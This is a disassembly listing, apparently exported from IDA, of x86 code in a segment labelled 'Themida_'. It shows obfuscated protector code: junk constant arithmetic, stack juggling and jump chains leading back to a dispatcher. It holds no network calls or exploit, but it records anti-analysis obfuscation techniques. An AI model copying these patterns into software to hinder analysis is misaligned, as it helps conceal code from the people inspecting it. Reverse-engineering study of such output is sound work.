FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55B5B7: ; CODE XREF: Themida_:0055B78Bj sub edx, 62945705h add edx, eax add edx, 62945705h pop eax push ebx mov ebx, 4 jmp loc_55986F ; --------------------------------------------------------------------------- loc_55B5D1: ; CODE XREF: Themida_:00553F16j mov ebp, [esp] add esp, 4 not edx shr edx, 6 shl edx, 5 sub edx, 47074883h push ebp mov ebp, 179107Eh sub edx, ebp jmp loc_550CEC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55B5F5: ; CODE XREF: sub_556A70-676j sub esi, 67F357D5h mov edi, [esp-1Eh+arg_18+2] jmp loc_5527CB ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- lodsb push ecx push ebx push edx mov dh, 39h mov bl, 42h jmp loc_55B6D0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55B610: ; CODE XREF: sub_556A70+B7j mov ebx, 4ECC21B7h mov ebp, 3B791F33h xor ebp, ebx pop ebx shr ebp, 4 push edx mov edx, 5FB64A16h jmp loc_559B53 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55B62B: ; CODE XREF: Themida_:0055182Cj pop eax jmp loc_55172C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552634 loc_55B631: ; CODE XREF: sub_552634+1A4Bj shr esi, 2 jmp loc_550E1B ; END OF FUNCTION CHUNK FOR sub_552634 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_558D0E loc_55B639: ; CODE XREF: sub_558D0E-870j mov edi, ebp mov ebp, [esp+0] jmp loc_556DD1 ; END OF FUNCTION CHUNK FOR sub_558D0E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55B643: ; CODE XREF: sub_556A70+1004j push 2951h mov [esp-0Ah+arg_4+2], ebp push [esp-0Ah+arg_8+2] push [esp-6+arg_0+2] pop ebp jmp loc_555844 ; --------------------------------------------------------------------------- loc_55B658: ; CODE XREF: sub_556A70+35EDj add esi, ebx mov ebx, [esp+4+var_4] add esp, 4 sub esi, 4 xor esi, [esp+0] jmp loc_55823F ; --------------------------------------------------------------------------- loc_55B66B: ; CODE XREF: sub_556A70+4A27j mov eax, 1Ch sub eax, 585E7215h jmp loc_55C1FE ; --------------------------------------------------------------------------- loc_55B67A: ; CODE XREF: sub_556A70+435Fj pop edx xchg eax, [esp-1Eh+arg_18+2] mov esp, [esp-1Eh+arg_18+2] mov fs:[edx], ax jmp loc_550A46 ; --------------------------------------------------------------------------- loc_55B68A: ; CODE XREF: sub_556A70-1A64j pop ecx pop eax push 3045h mov [esp-28h+arg_24], esi pop eax push [esp-2Ch+arg_28] pop esi push ecx jmp loc_55705C ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_557F09 loc_55B69F: ; CODE XREF: sub_557F09+23j pop ebp push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+0Ch+var_C] pop esp jmp loc_55C157 ; END OF FUNCTION CHUNK FOR sub_557F09 ; --------------------------------------------------------------------------- loc_55B6B5: ; CODE XREF: Themida_:005563B7j push ecx mov cl, 9Bh and cl, 0BCh jmp loc_55BE2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5567EA loc_55B6C0: ; CODE XREF: sub_5567EA+Fj pop esp mov [esp+0], ebx push edx push 0B671CEFh pop edx jmp loc_5513F2 ; END OF FUNCTION CHUNK FOR sub_5567EA ; --------------------------------------------------------------------------- loc_55B6D0: ; CODE XREF: Themida_:0055B60Bj xor bl, dh pop edx jmp loc_559269 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55B6D8: ; CODE XREF: sub_556A70-2DB9j mov esi, 1F0C7A18h sub esi, ebx pop ebx and eax, esi push [esp-4+arg_0] jmp loc_55A0D4 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55B6EA: ; CODE XREF: Themida_:00557F46j xor ebx, eax pop eax add ecx, ebx jmp loc_55C058 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55B6F4: ; CODE XREF: sub_556A70-1F56j mov eax, 4C0C5AB9h sub eax, 0DD05353h or eax, 369F1DFFh inc eax or eax, 41BA7323h add eax, 80408CDCh add edi, eax mov eax, [esp+0] jmp loc_557B46 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55B718: ; CODE XREF: Themida_:0055AEE3j sub ecx, esi pop esi push edx mov edx, 46DF196Ch xor ecx, edx pop edx and ecx, 62506EB2h push edi jmp loc_558D38 ; =============== S U B R O U T I N E ======================================= sub_55B730 proc near ; CODE XREF: sub_556A70-30A6j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00550D6E SIZE 0000003C BYTES ; FUNCTION CHUNK AT 00551FC3 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00553DC5 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00553EF5 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0055599A SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00555ABB SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0055601C SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005566FB SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005599CC SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0055A656 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0055AD65 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0055CE3F SIZE 00000007 BYTES sub esp, 4 jmp loc_551FC3 sub_55B730 endp ; --------------------------------------------------------------------------- loc_55B73B: ; CODE XREF: Themida_:00553A9Ej inc ebp inc ebp push 0 sub dword ptr [esp], 39BE243Dh sub [esp], ebp add dword ptr [esp], 39BE243Dh mov ebp, [esp] jmp loc_5557D9 ; --------------------------------------------------------------------------- loc_55B75B: ; CODE XREF: Themida_:00552221j push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] push dword ptr [esp] pop ecx sub esp, 4 mov [esp], edx push 7E3Ah mov [esp], esp add dword ptr [esp], 4 mov edx, [esp] add esp, 4 push eax mov eax, 4 jmp loc_55B5B7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552B74 loc_55B790: ; CODE XREF: sub_552B74+9068j sub edi, edx jmp loc_553274 ; END OF FUNCTION CHUNK FOR sub_552B74 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55B797: ; CODE XREF: sub_556A70-1332j push 275F6477h pop edi jmp loc_553B9D ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55B7A2: ; CODE XREF: Themida_:00556533j pop ebx shl edi, 3 or edi, 164E5F28h or edi, 32B66457h sub edi, 52C7B4D8h mov esi, edi mov edi, [esp] add esp, 4 sub esi, 6C374B23h jmp loc_554BC3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552B74 loc_55B7CE: ; CODE XREF: sub_552B74+5A04j mov edx, 6DF6381Bh push ebx mov ebx, 0C660355h add ebx, 0C304A59h sub ebx, 3B8C182Eh sub ebx, 6F140161h sub edx, ebx mov ebx, [esp+8+var_8] add esp, 4 mov ecx, edx pop edx sub edi, ecx push dword ptr [esp+0] jmp loc_5534BF ; END OF FUNCTION CHUNK FOR sub_552B74 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55B800: ; CODE XREF: sub_556A70+43D9j mov eax, [esp-1Ah+arg_14+2] jmp loc_551ED7 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55B808: ; CODE XREF: Themida_:005520B5j push ebx jmp loc_55A8A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55B80E: ; CODE XREF: sub_556A70-107Bj add ecx, ebx add ecx, 7FA67942h jmp loc_55801A ; --------------------------------------------------------------------------- loc_55B81B: ; CODE XREF: sub_556A70+2D28j mov esi, 4BF213ABh push edx mov edx, 68B0182Fh jmp loc_558FB4 ; --------------------------------------------------------------------------- loc_55B82B: ; CODE XREF: sub_556A70-206Fj pop ecx jmp loc_555BD3 ; --------------------------------------------------------------------------- loc_55B831: ; CODE XREF: sub_556A70+451j push 455Fh jmp loc_55B5AA ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55B83B: ; CODE XREF: Themida_:0055903Bj push 4D19h mov [esp], edi mov edi, 4AD74A00h add ebp, edi jmp loc_5589E8 ; --------------------------------------------------------------------------- loc_55B84F: ; CODE XREF: Themida_:00557BB1j push ebx sub esp, 4 mov [esp], esi push ebx jmp loc_55C4CA ; --------------------------------------------------------------------------- loc_55B85C: ; CODE XREF: Themida_:0055C6DBj pop edi sub edx, 0FFFFFFFFh push edi jmp loc_55C7EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55B869: ; CODE XREF: sub_556A70+121Ej push 0A0Eh mov [esp-1Eh+arg_18+2], edi mov edi, 7F0404CBh and edi, 4B9360FEh push edx push esi push 563C1F07h pop esi or esi, 14F44A15h jmp loc_557B21 ; END OF FUNCTION CHUNK FOR sub_556A70 ; =============== S U B R O U T I N E ======================================= sub_55B88F proc near ; CODE XREF: sub_556A70+70Bj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055CE32 SIZE 0000000D BYTES sub esp, 4 mov [esp+4+var_4], ecx push dword ptr [esp+4] jmp loc_55CE32 sub_55B88F endp ; --------------------------------------------------------------------------- loc_55B89E: ; CODE XREF: Themida_:00554900j mov [esp], ecx jmp loc_55BC00 ; --------------------------------------------------------------------------- loc_55B8A6: ; CODE XREF: Themida_:00556417j xchg ebp, [esp] mov esp, [esp] jmp loc_558237 ; --------------------------------------------------------------------------- loc_55B8B1: ; CODE XREF: Themida_:0055286Ej add dword ptr [esp], 4 push dword ptr [esp] pop ecx add esp, 4 add ecx, 4 push esi mov esi, 2 jmp loc_558545 ; --------------------------------------------------------------------------- loc_55B8D3: ; CODE XREF: Themida_:00555E82j push edx jmp loc_55BC65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_55B8D9: ; CODE XREF: sub_5584F8+4ABEj or edi, 513E3E8Bh inc edi jmp loc_552498 ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55B8E5: ; CODE XREF: sub_556A70+17B1j add ecx, eax sub ecx, 73CD47E9h pop eax sub ecx, 4 push ecx push [esp-1Ah+arg_18+2] jmp loc_553CA9 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_555F13 loc_55B8FB: ; CODE XREF: sub_555F13+17j jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_555F13 ; --------------------------------------------------------------------------- loc_55B900: ; CODE XREF: Themida_:0055A1D0j mov edx, ebp pop ebp jmp loc_553611 ; --------------------------------------------------------------------------- xor [esp], bp xor bp, [esp] xor [esp], bp push small 7E53h mov [esp], bp push small 0F06h mov [esp], cx pop bp mov cx, [esp] push ebx mov ebx, esp push ecx mov ecx, 4 add ebx, ecx pop ecx jmp loc_557C78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55B93B: ; CODE XREF: sub_556A70-DB8j push edi jmp loc_55409A ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55B941: ; CODE XREF: Themida_:005528BBj add esi, eax push ecx mov ecx, 203061DBh and ecx, 3314143Ah sub ecx, 0EC82FC3Ah add esi, ecx pop ecx push edx mov edx, 68AF502Eh shl edx, 2 not edx dec edx shr edx, 4 push ecx jmp loc_5589DA ; --------------------------------------------------------------------------- loc_55B96D: ; CODE XREF: Themida_:00556A4Fj add ecx, 4 push 6DC2h mov [esp], ebx push eax push edx push 4F29249Ah pop edx add edx, 0F46DE0D9h sub esp, 4 jmp loc_554DE9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55B991: ; CODE XREF: sub_556A70-204Ej pop esp jmp loc_552F68 ; --------------------------------------------------------------------------- loc_55B997: ; CODE XREF: sub_556A70+4EBj mov ebx, esp push edi mov edi, 4 add ebx, edi jmp loc_554175 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55B9A6: ; CODE XREF: Themida_:0055BE37j sub cl, al jmp loc_55178D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55B9AD: ; CODE XREF: sub_556A70-46D4j push eax mov eax, 51582B32h add eax, 0FFFFFFFFh inc eax xor eax, 51582B30h mov edx, eax pop eax add eax, edx pop edx xchg eax, [esp-0Ch+arg_8] mov esp, [esp-0Ch+arg_8] mov cx, word ptr [esp-0Ch+arg_8] sub esp, 4 mov [esp-8+arg_4], esi push esp pop esi jmp loc_555614 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55B9DB: ; CODE XREF: Themida_:0055C758j add edx, 6A674268h pop esi xor edx, [esp] jmp loc_556E77 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55B9EA: ; CODE XREF: sub_556A70-4CC8j mov ecx, [esp+8+var_8] add esp, 4 sub bh, 94h xor al, bh mov ebx, [esp+4+var_4] add esp, 4 push 5143h mov [esp+4+var_4], edx jmp loc_5523C9 ; --------------------------------------------------------------------------- loc_55BA0B: ; CODE XREF: sub_556A70+6A3j push edi mov edi, ebx mov ecx, edi pop edi pop ebx add ecx, edi push eax add [esp+18h+var_18], 46B925DAh pop dword ptr [ecx] sub dword ptr [ecx], 46B925DAh mov ecx, [esp+14h+var_14] push ebp jmp loc_554B94 ; --------------------------------------------------------------------------- loc_55BA2D: ; CODE XREF: sub_556A70+5321j xor edi, 3AF85777h sub eax, edi pop edi jmp loc_558932 ; --------------------------------------------------------------------------- loc_55BA3B: ; CODE XREF: sub_556A70-5E80j mov edi, esi jmp loc_55A58E ; --------------------------------------------------------------------------- loc_55BA42: ; CODE XREF: sub_556A70+3F19j mov dl, ch pop ecx push small 71EEh jmp loc_55106E ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5539DB loc_55BA4E: ; CODE XREF: sub_5539DB+695j sub edi, 0FF76A793h mov ebx, edi pop edi and ecx, ebx mov ebx, [esp+4+var_4] add esp, 4 shr ecx, 0Ah push 11F6h jmp loc_55913B ; END OF FUNCTION CHUNK FOR sub_5539DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55BA6F: ; CODE XREF: sub_556A70+2F02j xor [esp-4+arg_0], ecx jmp loc_559944 ; --------------------------------------------------------------------------- loc_55BA77: ; CODE XREF: sub_556A70-1528j add [esp-34h+arg_30], 4 mov edi, [esp-34h+arg_30] add esp, 4 add edi, 4 push ecx mov ecx, 4 sub edi, ecx pop ecx xchg edi, [esp-38h+arg_34] pop esp mov [esp-3Ch+arg_38], ecx jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55BA9F: ; CODE XREF: Themida_:00557D45j mov eax, edi push edi mov edi, eax mov ecx, edi mov edi, [esp] add esp, 4 pop eax pop edi shl ecx, 2 push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], ebp mov ebp, 4C17345Dh jmp loc_55811E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55BAD6: ; CODE XREF: sub_556A70+43B9j push 2FCCh jmp loc_55607C ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552E24 loc_55BAE0: ; CODE XREF: sub_552E24+3758j xor eax, esi not esi push 930h mov [esp+8+var_8], eax sub esp, 4 mov [esp+0Ch+var_C], esi push [esp+0Ch+var_C] jmp loc_552191 ; END OF FUNCTION CHUNK FOR sub_552E24 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_553657 loc_55BAFA: ; CODE XREF: sub_553657-1C36j add esp, 4 jmp loc_55A79A ; END OF FUNCTION CHUNK FOR sub_553657 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55BB05: ; CODE XREF: sub_556A70+6274j mov [esp-1Eh+arg_18+2], edx push esi mov edx, [esp-1Ah+arg_14+2] add esp, 4 jmp loc_55CEE0 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_553E6A loc_55BB14: ; CODE XREF: sub_553E6A+6j push 378A6E09h pop eax xor eax, 4C6A7161h inc eax and eax, 78CB369Fh push ecx mov ecx, 78C015E5h push ebp mov ebp, 5DD2D0Bh jmp loc_55598B ; END OF FUNCTION CHUNK FOR sub_553E6A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_555B85 loc_55BB36: ; CODE XREF: sub_555B85+3E9Aj mov ebp, ebx pop ebx xor ebp, 0F7911FBh sub ebp, 63EF4BF8h jmp loc_55A50C ; END OF FUNCTION CHUNK FOR sub_555B85 ; --------------------------------------------------------------------------- loc_55BB4A: ; CODE XREF: Themida_:00551B09j inc esi push ecx mov ecx, 0E6658881h add esi, ecx mov ecx, [esp] add esp, 4 jmp loc_556EFE ; --------------------------------------------------------------------------- loc_55BB5E: ; CODE XREF: Themida_:0055AA5Aj mov eax, [esp] push esi push 7761h mov [esp], esp add dword ptr [esp], 4 pop esi jmp loc_556665 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55BB74: ; CODE XREF: sub_556A70-557Bj mov bx, word ptr [esp-8+arg_4] push ebp jmp loc_558771 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552B74 loc_55BB7E: ; CODE XREF: sub_552B74-2052j pop ecx add ah, 0A1h sub ah, 1Bh add ah, 0 add cl, ah pop eax add bl, cl mov ecx, [esp+4+var_4] add esp, 4 add bl, al sub esp, 4 mov [esp+4+var_4], eax mov ah, 47h sub bl, 18h sub bl, ah push eax mov al, 18h add bl, al pop eax pop eax push 1292h mov [esp+4+var_4], esi mov esi, 3FCh push edx mov edx, 69FE56A8h xor edx, 5CAA0C02h push edx mov edx, 8B67A4Bh and edx, 51D115F1h not edx xor edx, 0ED1B91D3h jmp loc_55B790 ; END OF FUNCTION CHUNK FOR sub_552B74 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55BBE1: ; CODE XREF: sub_556A70-5FC8j shl dh, 4 jmp loc_5512FD ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55BBE9: ; CODE XREF: Themida_:0055C924j or esi, 34EF035Ah jmp loc_557C93 ; --------------------------------------------------------------------------- loc_55BBF4: ; CODE XREF: Themida_:0055C2EDj or edi, 555E11B3h inc edi jmp loc_555930 ; --------------------------------------------------------------------------- loc_55BC00: ; CODE XREF: Themida_:0055B8A1j push ebx jmp loc_55669E ; --------------------------------------------------------------------------- loc_55BC06: ; CODE XREF: Themida_:0055B04Ej inc al jmp loc_550CBD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55BC0D: ; CODE XREF: sub_556A70+4961j mov esp, [esp-8+arg_4] jmp loc_5526CC ; --------------------------------------------------------------------------- loc_55BC15: ; CODE XREF: sub_556A70-2A61j push 7F99h mov [esp-18h+arg_14], ecx mov ecx, esp add ecx, 4 push ebp mov ebp, 747E4D11h xor ebp, 747E4D15h jmp loc_55840A ; --------------------------------------------------------------------------- loc_55BC36: ; CODE XREF: sub_556A70+1063j xor esi, [esp-16h+arg_10+2] jmp loc_550F5E ; --------------------------------------------------------------------------- loc_55BC3E: ; CODE XREF: sub_556A70-5DC8j dec eax jmp loc_55867E ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552B74 loc_55BC44: ; CODE XREF: sub_552B74+EFBj xor ch, ah mov eax, [esp+0Ch+var_C] add esp, 4 sub al, ch mov ecx, [esp+8+var_8] add esp, 4 sub al, 0EAh add al, dl add al, 0EAh jmp loc_55385A ; END OF FUNCTION CHUNK FOR sub_552B74 ; --------------------------------------------------------------------------- loc_55BC65: ; CODE XREF: Themida_:0055B8D4j push ecx pop edx jmp loc_559D52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55BC6C: ; CODE XREF: sub_556A70+45CFj push esi mov si, 6D41h jmp loc_552B1E ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55BC76: ; CODE XREF: Themida_:0055B508j push ecx push edx mov edx, 4DA24326h mov ecx, edx pop edx or ecx, 0E8B566Fh shr ecx, 8 push ebp push eax jmp loc_55574E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55BC90: ; CODE XREF: sub_556A70-39ECj push 37514F94h pop edi sub edi, 519953D3h push ecx jmp loc_555639 ; --------------------------------------------------------------------------- loc_55BCA2: ; CODE XREF: sub_556A70+36Aj add esi, 4 xchg esi, [esp-1Eh+arg_18+2] pop esp and eax, edi pop edi or edx, eax shl edx, 1 push 6E5Bh jmp loc_5564F9 ; --------------------------------------------------------------------------- loc_55BCBD: ; CODE XREF: sub_556A70-48E4j pop bx jmp loc_555C6E ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55BCC4: ; CODE XREF: Themida_:0055BF36j push 6F56h mov [esp], esi mov esi, 2CD64574h neg esi add esi, 32E4383Ah jmp loc_557A5A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55BCDE: ; CODE XREF: sub_556A70+46D5j pop ecx jmp loc_553E88 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55BCE4: ; CODE XREF: Themida_:0055337Aj shl bl, 5 jmp loc_552E0F ; --------------------------------------------------------------------------- loc_55BCEC: ; CODE XREF: Themida_:0055C76Bj push ebp mov ebp, 4 add [esp+4], ebp pop ebp jmp loc_559629 ; --------------------------------------------------------------------------- loc_55BCFC: ; CODE XREF: Themida_:00559A51j or si, cx pop cx shr si, 2 or si, 70Fh push 2AF7h mov [esp], ecx push esi jmp loc_55C13B ; --------------------------------------------------------------------------- loc_55BD18: ; CODE XREF: Themida_:00552CD3j push ebp jmp loc_55CA25 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55BD1E: ; CODE XREF: sub_556A70-5413j push eax mov eax, 59F67C2Bh shl eax, 7 xchg eax, ebx not ebx xchg eax, ebx xor eax, 3B5AFE83h jmp loc_556793 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55BD35: ; CODE XREF: Themida_:00552054j sub eax, 0A9915A5h push ecx mov ecx, 27C53913h and ecx, 53291FDFh xor ecx, 1819FB4Fh xor eax, ecx pop ecx add edi, eax mov eax, [esp] jmp loc_55A5B1 ; --------------------------------------------------------------------------- loc_55BD59: ; CODE XREF: Themida_:005567E5j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push edi mov edi, 4 push ebx mov ebx, 583079F1h add esi, ebx pop ebx add esi, edi push ecx mov ecx, 583079F1h sub esi, ecx jmp loc_553861 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55BD86: ; CODE XREF: sub_556A70+4448j mov edi, 34534FC9h or edi, 676269E1h jmp loc_55BA2D ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55BD96: ; CODE XREF: Themida_:00559C2Dj shl esi, 6 shr esi, 8 xor esi, 0DF37AABh sub esi, 0D2C37D57h add ebx, esi mov esi, [esp] add esp, 4 neg ebx xor ebx, 0F745EAAFh sub eax, 5B354CD7h add eax, ebx add eax, 5B354CD7h mov ebx, [esp] add esp, 4 add eax, 4 jmp loc_557840 ; =============== S U B R O U T I N E ======================================= sub_55BDD5 proc near ; CODE XREF: sub_556A70-29E6j var_4 = dword ptr -4 arg_2 = word ptr 6 push ebp push dword ptr [esp+4] pop ebp pop [esp+4+var_4] mov esp, [esp+0] mov [esp-6+arg_2], cx movzx cx, al push cx pushf jmp loc_550A46 sub_55BDD5 endp ; =============== S U B R O U T I N E ======================================= sub_55BDF1 proc near ; CODE XREF: sub_555903-3FF0j ; sub_556A70-21BEj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005557FB SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0055C704 SIZE 00000012 BYTES sub esp, 4 mov [esp+4+var_4], ecx push 0E600454h pop ecx push edi jmp loc_5557FB sub_55BDF1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552634 loc_55BE06: ; CODE XREF: sub_552634+1B34j or eax, 786320C9h add eax, 0F0B4BA01h mov ecx, eax pop eax push edx mov edx, 0D2DBF178h mov eax, edx pop edx add eax, ecx jmp loc_559993 ; END OF FUNCTION CHUNK FOR sub_552634 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55C259 loc_55BE23: ; CODE XREF: sub_55C259+10j xor ebp, 2261064h jmp loc_556EE2 ; END OF FUNCTION CHUNK FOR sub_55C259 ; --------------------------------------------------------------------------- loc_55BE2E: ; CODE XREF: Themida_:0055B6BBj neg cl sub cl, 0A7h push ax mov al, 34h jmp loc_55B9A6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55BE3C: ; CODE XREF: sub_556A70-4B07j add edi, 0E4C1FF21h add esi, edi pop edi dec esi add esi, 0E69F027Bh add edx, esi pop esi push esi jmp loc_558137 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55BE55: ; CODE XREF: Themida_:0055246Ej mov [esp], esi mov esi, 2 add edx, esi mov esi, [esp] add esp, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] jmp loc_55A5BF ; --------------------------------------------------------------------------- loc_55BE76: ; CODE XREF: Themida_:0055CE11j jmp loc_550A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55BE7B: ; CODE XREF: sub_556A70+428j mov dh, cl mov ah, dh pop edx pop ecx xor dh, ah pop eax mov ch, dh mov edx, [esp-4+arg_0] jmp loc_55317D ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55BE8E: ; CODE XREF: Themida_:0055369Fj pop esp or [esp], al pushf jmp loc_550A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556769 loc_55BE98: ; CODE XREF: sub_556769+242Bj jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_556769 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55BE9D: ; CODE XREF: sub_556A70-5131j add edi, ecx jmp loc_55CD9E ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55BEA4: ; CODE XREF: Themida_:00558DF9j sub [esp], dl jmp loc_55596D ; --------------------------------------------------------------------------- loc_55BEAC: ; CODE XREF: Themida_:00557B41j sub esp, 4 mov [esp], eax push 2B304223h mov eax, [esp] add esp, 4 add eax, 1 jmp loc_553D28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_554299 loc_55BECD: ; CODE XREF: sub_554299+8038j pop ebp pop ebp add ebp, ecx pop ecx jmp loc_550BD2 ; END OF FUNCTION CHUNK FOR sub_554299 ; --------------------------------------------------------------------------- mov ax, [esp] push esi jmp loc_5519A6 ; --------------------------------------------------------------------------- loc_55BEE1: ; CODE XREF: Themida_:00558F4Aj sub esp, 4 mov [esp], esi jmp loc_55CC18 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55BEEC: ; CODE XREF: sub_556A70-195j add cx, 9F97h xor si, cx pop ecx jmp loc_553AD4 ; --------------------------------------------------------------------------- loc_55BEFA: ; CODE XREF: sub_556A70-19D4j add esp, 4 mov eax, [esp-14h+arg_10] jmp loc_5581B5 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55BF08: ; CODE XREF: Themida_:00551794j pop ecx push edi jmp loc_553E09 ; --------------------------------------------------------------------------- loc_55BF0F: ; CODE XREF: Themida_:0055ADF3j push eax push ebp mov ebp, 24CA1AF1h mov eax, 9547649Eh sub eax, ebp pop ebp jmp loc_55A14B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_554299 loc_55BF23: ; CODE XREF: sub_554299-36C0j jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_554299 ; --------------------------------------------------------------------------- loc_55BF28: ; CODE XREF: Themida_:00556660j add ebp, 4 push 7B19h mov [esp], ecx jmp loc_55BCC4 ; --------------------------------------------------------------------------- loc_55BF3B: ; CODE XREF: Themida_:00553072j jmp loc_550A46 ; --------------------------------------------------------------------------- 